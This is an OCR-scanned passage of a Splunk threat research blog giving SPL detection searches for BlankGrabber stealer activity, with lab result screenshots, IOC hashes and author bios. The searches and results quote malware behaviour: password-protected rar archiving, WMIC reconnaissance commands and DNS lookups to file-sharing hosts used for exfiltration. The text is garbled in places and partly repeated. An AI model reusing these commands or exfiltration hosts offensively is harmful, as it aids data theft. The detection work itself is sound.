“security_content_ctime(lastTime)"

‘windows_winrar_launched_outside_default_installation_directory_filter"

New Search

.process_guid Processes.process_hash Processes.process_id

parent_process_exec Processes.parent_process_guid Processes.parent_process_id
parent_process_name Processes.parent_process_path Processes.process

process_name Processes.process_path Processes.user Processes.user_id

Save As v Close

| tstats “security_content_summariesonly’ count min(_time) s firstTime max(_time) a

e Processes.process_name IN ("Winrar.exe", "rar.exe") AND NOT (Processes.parent_process_path IN
Processes.action Processes.dest Processes.original_file_name Processes.parent_process
Processes. parent_process_exec Processes.parent_process_guid Processes.parent_process_id

1=Endpoint.Processes

Processes.parent_process_name Processes.parent_process_path Processes.process Processes.process_exec
Processes.process_guid Prox es.process_hash Processes.process_id Pr .process_integrity_level
Processes.process_name Processes.process_path Processes.user Processes,user_id Processes.vendor_product

| "drop_dm_cbject_name(Processes)’
| ‘security_content_ctime(firstTime)"
| “security_content_ctime(lastTime)"

:\\Program Files (x86)\\WinRAR\\»", "w:\\Program Files\\WinRAR\\»"))

Rl

+ 8 events (2/19/26 12:00:00.000 PM to 2/26/26 12:14:11.000 PM) No Event Sampling

Events Patierns Statistics (8) Visualization

20PerPage> . Format Preview =

rd 4

parent_process_id  parent_process_name

2 l|e parent_process_path &

4828 cmd. exe C:\Windows\System32\cmd. exe

8x12dc cmd. exe C:\Windows\System32\cmd. exe

Windows Hosts File Access

process * s

C:\Users\user\AppData\Local\Temp\_MEI72922\rar . exe
a -r -hp"blank123"
“C:\Users\user\AppData\Local\Temp\0z8ln.zip" *

C:\Users\user\AppData\Local\Temp\_MEI72922\rar . exe
a -r -hp"blank123”
"C:\Users\user\AppData\Local\Temp\0z8ln.zip" *

Figure 33: Windows WinRAR Launched Outside Default Installation Directory Detection

o

process_exec

rar. exe

rar.exe

Job~w

o
process_guid

28358818~
CBDE-699E~
D505~
200000004303

null

» & L4 ¥ SmartMode~

process_hash *

MD5=9C223575AE589544BC3D69ACH364F 75E , SHA25!

null

This Analytics detects the execution of a process attempting to access the hosts file.
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“wineventlog_security’® EventCode=4663

object_file_path="*:\\Windows\\System32\\drivers\\etc\\hosts" AND

NOT (

process_path IN (
"*:\\Windows\\System32\\svchost.exe",
"*:\\Windows\\SysWow64\\svchost.exe",
"*:\\Windows\\System32\\1lsass.exe",
:\\Windows\\SysWow64\\1lsass.exe",
:\\Windows\\System32\\services.exe",
\\Windows\\SysWow64\\services.exe",
:\\Windows\\System32\\SearchIndexer .exe",
:\\Windows\\SysWow64\\SearchIndexer .exe",
:\\Windows\\explorer.exe"

nx
nx
nx
nx
nx

nx

))

| stats count by _time object_file_path object_file name dest process_name process_path

process_id EventCode
| eval process_path = lower(process_path)

| lookup browser_process_and_path browser_process_path as process_path OUTPUT

is_valid_browser_path

eval is_valid_browser_path=coalesce(is_valid_browser_path, "false")

I

| where is_valid_browser_path = "false"
| “security_content_ctime(firstTime)"

| “security_content_ctime(lastTime)"

| “windows_hosts_file_access_filter"

New Search

SaveAs v

Create Table View

wineventlog_security’ EventCode=4663
object_file_path="#:\\Windows\\System32\\drivers\\etc\\hosts" An
NOT €
process_path IN (
“#:\\Windows\\System32\\svchost .exe*,
"x: \\Windows\\SysWow64\\svchost . exe"
“#:\\Windows\\System32\\lsass.exe",
"#:\\Windows\\SysWowG4\\lsass, exe”,
"#:\\Windows\\System32\\services.exe",
"#:\\Windows\\SysWow64\\services.exe",
"*:\\Windows\\System32\\SearchIndexer.exe",
"#: \\Windows\\SysWow64\\SearchIndexer.exe",
"*:\\Windows\\explorer.exe"
»
| stats count _time object_file_path object_file_name dest process_name process_path process_id EventCode
| eval process_path = lower(process_path)
| lookup browser_process_and_path browser_process_path as process_path T is_valid_browser_path
| eval is_valid_browser_path=coalesce(is_valid_browser_path,"false")
| where is_valid_browser_path = "false"
| “security_content_ctime(firstTime)’
| “security_content_ctime(lastTime)"

34 events (25/02/2026 13:00:00.000 to 26/02/2026 13:05:51.000) No Event Sampling +

Events Patterns Statistics (4)  Visualization
20PerPager  / Format Preview =
4
object_file_name dest
_time = object_file_path = s : B process_name * o~
2026-02-26 12:58:09 C:\Windows\System32\drivers\etc\hosts  hosts EC2AMAZ-  C:\Program
S1BSHGU Files\Notepad++\notepad++. exe
2026-02-26 12:58:36 C:\Windows\System32\drivers\etc\hosts  hosts EC2AMAZ-  C:\Windows\System32\attrib.exe
S1BSHGU
2026-02-26 12:58:36 C:\Windows\System32\drivers\etc\hests  hosts EC2AMAZ-  C:\python313\pythonw.exe
S1BSHGU
2026-02-26 12:59:27 C:\Windows\System32\drivers\etc\hosts  hosts EC2AMAZ-  C:\Program
S1BSHGU Files\Notepad++\notepad++. exe

Figure 34: Windows Hosts File Access Detection

process_path s

c:\program
files\notepad++\notepad++. exe

c:\windows\system32\attrib.exe

c:\python313\pythonw. exe

c:\progran
files\notepad++\notepad++. exe

Job =

<
process_id

ox1dbc
oxf1e
Oxe64

@x1dbc

P4
EventCode

4663

4663

4663

4663

&

d
count

Close

lﬁn“m“.|=l

'y * Smart Mode »

4
is_valid_browser_path

false
false

false

false



Windows WMI Reconnaissance Class Query

The following analytic detects the use of WMIC (Windows Management Instrumentation
Command-line) for reconnaissance and system information discovery on Windows endpoints.
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| tstats “security_content_summariesonly” count min(_time) as firstTime max(_time)
as lastTime from datamodel=Endpoint.Processes where

(

NOT Processes.parent_process_path 1IN (

"*:\\Program Files (x86)\\*",

"*:\\Program Files\\*",

"*:\\Windows\\System32\\*",

"*FN\Windows\\SyswWOW64\\*"

)

OR

Processes.parent_process_name IN(

"cmd.exe",

"powershell*",

"pwsh.exe"

)

)

AND

(

Processes.process_name = "wmic.exe"

OR

Processes.original_file_name = "wmic.exe"

)

Processes.process IN (

"*csproduct*",

"*Win32_BaseBoard*",

"*Win32_Bios*",

"*Win32_DiskDrive*",

"*Win32_DisplayConfiguration*",

"*Win32_OperatingSystem*",

"*Win32_PhysicalMemory*",

"*Win32_PnPEntity*",

"*Win32_Processor*",

"*Win32_ShadowCopy*",

"*win32_ShortcutFile*",

"*win32_VideoController*"

)

by Processes.action Processes.dest Processes.original_file_name Processes.parent_process
Processes.parent_process_exec Processes.parent_process_guid Processes.parent_process_id
Processes.parent_process_name Processes.parent_process_path Processes.process
Processes.process_exec

Processes.process_guid Processes.process_hash Processes.process_id
Processes.process_integrity_level

Processes.process_name Processes.process_path Processes.user Processes.user_id
Processes.vendor_product

| “drop_dm_object_name(Processes)"

| “security_content_ctime(firstTime)"

| “security_content_ctime(lastTime)"

| “windows_wmi_reconnaissance_class_query_filter"
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New Search Save As v Close
| tstats ‘security_content_summariesonly’ count min(_time) as firstTime max(_time) Last 7 days = n
< lastTime from datamodel=Endpoint.Processes
W Processes.process_name = "wmic.exe" OR Processes.original_file_name = "wmic.exe" AND Processes.process [N ("*Win32_Bios*", "#Win32_OperatingSystem*", "*Win32_Processors",
“*Win32_ComputerSystem*", "+Win32_PnPEntity*", “#Win32_ShadowCopy*", "#Win32_DiskDrive*",
"*Win32_PhysicalMemoryx", "+Win32_BaseBoardx", "sWin32_DisplayConfiguration*", "#win32_VideoControllers", "swin32_shortcutfilex”, "#csproduct=")
by Processes.action Processes.dest Processes.original _file_name Processes.parent_process
Processes.parent_process_exec Processes.parent_process_guid Processes.parent_process_id
Processes. parent_process_name Processes.parent_process_path Processes.process Processes,process_exec
Processes.process_guid Processes.process_hash Processes.process_id Processes.process_integrity_level
Processes.process_name Processes.process_path Processes.user Processes.user_id Processes.vendor_product
| "drop_dm_cbject_name(Processes)’ | ‘security_content_ctime(firstTime)' | security_content_ctime(lastTime)
+ 4 events (2/19/26 1:00:00.000 PM to 2/26/26 1:27:23.000 PM) No Event Sampling = Job + A & % ¢ Smart Mode ~
Events Patterns. Statistics (4) Visualization
20PerPage~ Format Preview =
s’ Fg s i T i
action dest ~  original_file_name parent_process_exec  parent_process_guid  parenl_process_id  parent_process_name
% L ¢ parent_process & v s : L parent_process_path & #  process £ s
allowed  ECZAMAZ-  unknown C:\Windows\System32\cmd.exe  null null oxldcc  ond.exe C:\Windows\System32\cnd. exe  C:\Windows\Systen32\ubem\WMIC . exe
UGLENOS csproduct get uuid
allowed  EC2AMAZ-  unknown C:\Windows\System32\cmd.exe  null null Oxdcd  cnd.exe C:\Windows\System32\cmd.exe  C:\Windows\System32\wbem\WMIC.exe
UGLBNOA path win32_VideoController get
name
allowed ECZAMAZ-  wmic.exe C:\Windows\system32\cmd.exe  cmd.exe 28358818-C6DE- 5324  cnd.exe C:\Windows\System32\cmd.exe  wmic csproduct get uuid
UGLBKDa fc "wmic csproduct get 699E-DCOS-
uuid” 200000004303
allowed ECZAMAZ-  wmic.exe C:\Windows\system32\cmd.exe  cmd.exe 28358818-C6E0- 3524  cond.exe C:\Windows\Systen32\cmd.exe  wmic path win32_VideoController
UGL 8NO® /c "wmic path 699E-E205- get name
win32_VideoController get 200020004303

name*

Figure 35: Windows WMI Reconnaissance Class Query Detection

Windows Abused Web Services

The following analytic detects a suspicious process making DNS queries to known,

abused web

services such as text-paste sites, VolP, secure tunneling, instant messaging, and digital

distribution platforms.
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“sysmon’

EventCode=22

QueryName IN (
"*//objects.githubusercontent.com*",
"*anonfiles.com*",
"*cdn.discordapp.com*",
"*ddns.net*",
"*d1l.dropboxusercontent.com*",
"*duckdns.org*",
"*ghostbin.co*",
"*glitch.me*",
"*gofile.io*",
"*hastebin.com*",
"*mediafire.com*",
"*mega.nz*",
"*ngrok.io*",
"*onrender.com*",
"*pages.dev*",
"*paste.ee*",
"*pastebin.com*",
"*pastebin.pl*",
"*pasteio.com*",
"*pastetext.net*",
"*privatlab.com*",
"*privatlab.net*",
"*send.exploit.in*",
"*sendspace.com*",
"*storage.googleapis.com*",
"*storjshare.io*",
"*supabase.co*",
"*temp.sh*",
"*textbin*",
"*transfer.sh*",
"*trycloudflare.com*",
"*ufile.io*",
"*w3spaces.com*",
"*workers.dev*"

)

eval answer=coalesce(answer, "none")
eval answer_count=coalesce(answer_count,0)

I
I
| rename dvc as dest
I

stats min(_time) as firstTime max(_time) as lastTime count
BY answer answer_count dest process_exec process_guid
process_name query query_count reply_code_id signature
signature_id src user_id vendor_product

QueryName QueryResults QueryStatus

| “security_content_ctime(firstTime)"

| “security_content_ctime(lastTime)"

| “windows_abused_web_services_filter"
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New Search ==

I‘sysmn‘ EventCode=22 QueryName 1N ("*api.anonfiles.com", "xapi.gofile.io")
| eval answer=coalesce(answer,"none")
| eval answer_count=coalesce(answer_count,@)
| stats min(_time) as firstTime max(_time) ss lastTime count
BY answer answer_count dvc
process_exec process_guid process_name
query query_count reply_code_id
signature signature_id src
user_id vendor_product QueryName
QueryResults QueryStatus
| 'security_content_ctime(firstTime)"
| “security_content_ctime(lastTime)’

+ 2 events (25/02/2026 14:00:00.000 to 26/02/2026 14:05:08.000) No Event Sampling = Job ¥
Events Patterns Statistics (4) Visualization
20 Per Page ~ # Format Preview =
rd ’ s ’ Fd 4 ré 4 rd
process_exec  process_guid process_name query_count reply_code_id signature  signature_id src user_id  vendor_product
¥ 3 s query * ¥4 s s : s : s s QueryName =~
pythonw.exe {ea996dbf- pythonw. exe api.gofile.io 1 [} DNSEvent 22 EC2AMAZ- '$-1- Microsoft api.gofile.io
5060-69a0- (DNS S1BSHGU 5-18" Sysmon
ce2e- query)
000000005702}
pythonw.exe {ea9%96dbf- pythonw. exe api.gofile.io 1 [ DNSEvent 22 EC2AMAZ- o= Microsoft api.gofile.io
5060-69%a8- (DNS S1BSHGU 5-18' Sysmon
ce2c- query)
00Q00QeO5702)
pythonw. exe {ea%96dbf- pythonw.exe api.gofile.io 1 @ DNSEvent 22 EC2AMAZ- TS Microsoft api.gofile.io
5060-69a0- (DNS S1BSHGU 5-18" Sysmon
ce2c- query)
000000005702}
pythonw. exe {ea%96dbf- pythonw. exe api.anonfiles.com 1 9003 DNSEvent 22 EC2AMAZ - '5-1- Microsoft api.anonfiles.com
5060-69a0- (DNS S1BSHGU 5-18' Sysmon
ce2c- auerv)

Figure 35: Windows DNS Lookup to Public File Sharing Domain Detection

Overall “BlankGrabber Stealer ” Splunk Analytics story consists of 48 detections.

IOCs:

SHA256 description

268d12a71b7680e97a4223183a98b565cc73bbe2ab99dfe2140960cc6be0fc87 BlankGrabber

ac36b970704881c7656e8fdd7e8c532e22896b97a47acef5ca624d7701bf991 Batch loader

Learn More

This blog aims to help security analysts, blue teamers, and Splunk users identify Bank Grabber
Trojan Stealer activity by providing insights into the tactics, techniques, and procedures (TTPs)
employed by threat actors. You can implement the detections in this blog using the Enterprise
Security Content Updates app or the Splunk Security Essentials app. To view the Splunk Threat
Research Team's complete security content repository, visit research.splunk.com.
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Feedback

Any feedback or requests? Feel free to put in an issue on Github and we’ll follow up. Alternatively,
join us on the Slack channel #security-research. Follow these instructions If you need an invitation
to our Splunk user groups on Slack.

Contributors

We would like to thank Teoderick Contreras for authoring this post and the entire Splunk Threat
Research Team for their contributions: Michael Haag, Bhavin Patel, Rod Soto, Patrick
Bareiss, Raven Tait, AJ King, Nasreddine Bencherchali, Jose Hernandez and Lou Stella.

Splunk Threat Research Team

The Splunk Threat Research Team is an active part of a customer’s overall defense strategy by
enhancing Splunk security offerings with verified research and security content such as use
cases, detection searches, and playbooks. We help security teams around the globe strengthen
operations by providing tactical guidance and insights to detect, investigate and respond against
the latest threats. The Splunk Threat Research Team focuses on understanding how threats,
actors, and vulnerabilities work, and the team replicates attacks which are stored as datasets in
the Attack Data repository. Our goal is to provide security teams with research they can leverage
in their day to day operations and to become the industry standard for SIEM detections. We are a
team of industry-recognized experts who are encouraged to improve the security industry by
sharing our work with the community via conference talks, open-sourcing projects, and writing
white papers or blogs. You will also find us presenting our research at conferences such as
Defcon, Blackhat, RSA, and many more.

Teoderick Contreras
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https://docs.splunk.com/Documentation/Community/1.0/community/Chat
https://twitter.com/tccontre18
https://www.splunk.com/en_us/surge/threat-research.html
https://www.splunk.com/en_us/surge/threat-research.html
https://twitter.com/M_haggis
https://twitter.com/hackpsy
https://twitter.com/rodsoto
https://twitter.com/bareiss_patrick
https://twitter.com/bareiss_patrick
https://x.com/raven_tait
https://x.com/ajkingio
https://www.splunk.com/en_us/blog/author/nasreddineb.html
https://twitter.com/_josehelps
https://twitter.com/ljstella
https://www.splunk.com/en_us/blog/author/secmrkt-research.html
https://github.com/splunk/attack_data/
https://www.splunk.com/en_us/blog/author/tcontreras.html

I'm a Senior Threat Research Engineer on Splunk's Threat Research Team. I've been working in
the cybersecurity industry for almost 12+ years. | primarily focus on malware reverse
engineering/analysis, digital forensics and detection development.

About Splunk

The world’s leading organizations rely on Splunk, a Cisco company, to continuously strengthen
digital resilience with our unified security and observability platform, powered by industry-leading
Al.

Our customers trust Splunk’s award-winning security and observability solutions to secure and
improve the reliability of their complex digital environments, at any scale.

Learn more about Splunk

Connect with Splunk on Linkedin

Follow @Splunk

Connect with Splunk on X

Follow @Splunk
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See Splunk Perspectives blog for execs

Get Perspectives

Subscribe to Perspectives by Splunk for curated C-suite insights, delivered to your inbox every

month.

Subscribe to Perspectives

Figure 34: Windows Hosts File Access Detection

New Search

Save As v Close

< lastTime from

dat

"¥Win32_ComputerSystems'
"#Nin32_PhysicalMemorys",
by Processes.action Processes.dest Processes.original_file_name Processes.parent_process

| tstats ‘security_content_summariesonly’ count min(_time)
wdel=Endpoint.Processes

Processes.process_name = “wnic.exe' OR Processes.original_file_name = "wmic.exe"
"#Win32_ShadowCopy=*",

| ‘drop_dm_object_name(Processes)’ |

"AWin32_PnPEntityx",
"#Win32_BaseBoard+",

"#Win32_DisplayConfigurations",

firstTime max(_time)

Processes. parent_process_exec Processes.parent_process_guid Processes.parent_process_id

\ND Processes. process
"#Win32_DiskDrivex",
"#win32_VideoControllers", "wi

Processes. parent_process_name Processes.parent_process_path Processes.process Processes.process_exec
Processes. process_guid Processes.process_hash Processes.process_id Processes.process_integrity_level
Processes. process_name Processes.process_path Processes.user Processes.user_id Processes.vendor_product

security_content_ctime(firstTime)' | ’security_content_ctime(lastTime}

N ("#Win32_Bios#", "

n32_shortcutfilex”,

*Win32_OperatingSystems", sWin32_Processors",

"scsproduct=")

e - |

+ 4 events (2/19/26 1:00:00.000 PM to 2/26/26 1:27:23.000 PM}

Events Patterns. Statistics (4) Visualization
20 Per Page * # Format Preview =

4 s
action dest -  original_file_name

allowed EC2AMAZ-
UGL BNOQ

allowed EC2AMAZ~
UGL BNOD@

allowed  EC2AMAZ-
UGLBNOS

allowed EC2AMAZ-
UGL 8NO@

Figure 35:

unknown

unknown

wmic.exe

wmic.exe

parent_process ¥ rd

C:\Windows\System32\cmd.exe

C:\Windows\System32\cmd . exe

C:\Windows\systen32\cmd. exe
/c "wmic csproduct get
uuid”

C:\Windows\system32\cmd . exe
/¢ "wmic path
win32_VideoController get
name"

No Event Sampling *

s
parent_process_exec

null

null

cnd. exe

cmd. exe

rd
parent_process_guid

null

null

28358818-C6DE-
699E-DCAS-
200200004303

28358818-C6EQ-
699E-E205-
200000004303

o
parent_process_id

@xl4cc

Bxdcd

5324

3524

Job =

rg

parent_process_name
[ parent_process_path +

cmd. exe C:\Windows\System32\cmd.
ond, exe C:\Windows\Sys tem32\cmd
cmd . exe C:\Windows\System32\cmd
cmd . exe C:\Windows\System32\cmd.

Windows WMI Reconnaissance Class Query Detection
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s

exe

exe

exe

exe

# & 4+ ? SmartMode~

process * s

C:\Windows\Systen32\uben\RMIC . exe
csproduct get uuid

C:\Windows\Systen32\wben\WHIC . exe
path win32_VideoController get
name

wnic csproduct get uuid

wnic path win32_VideoController
get name
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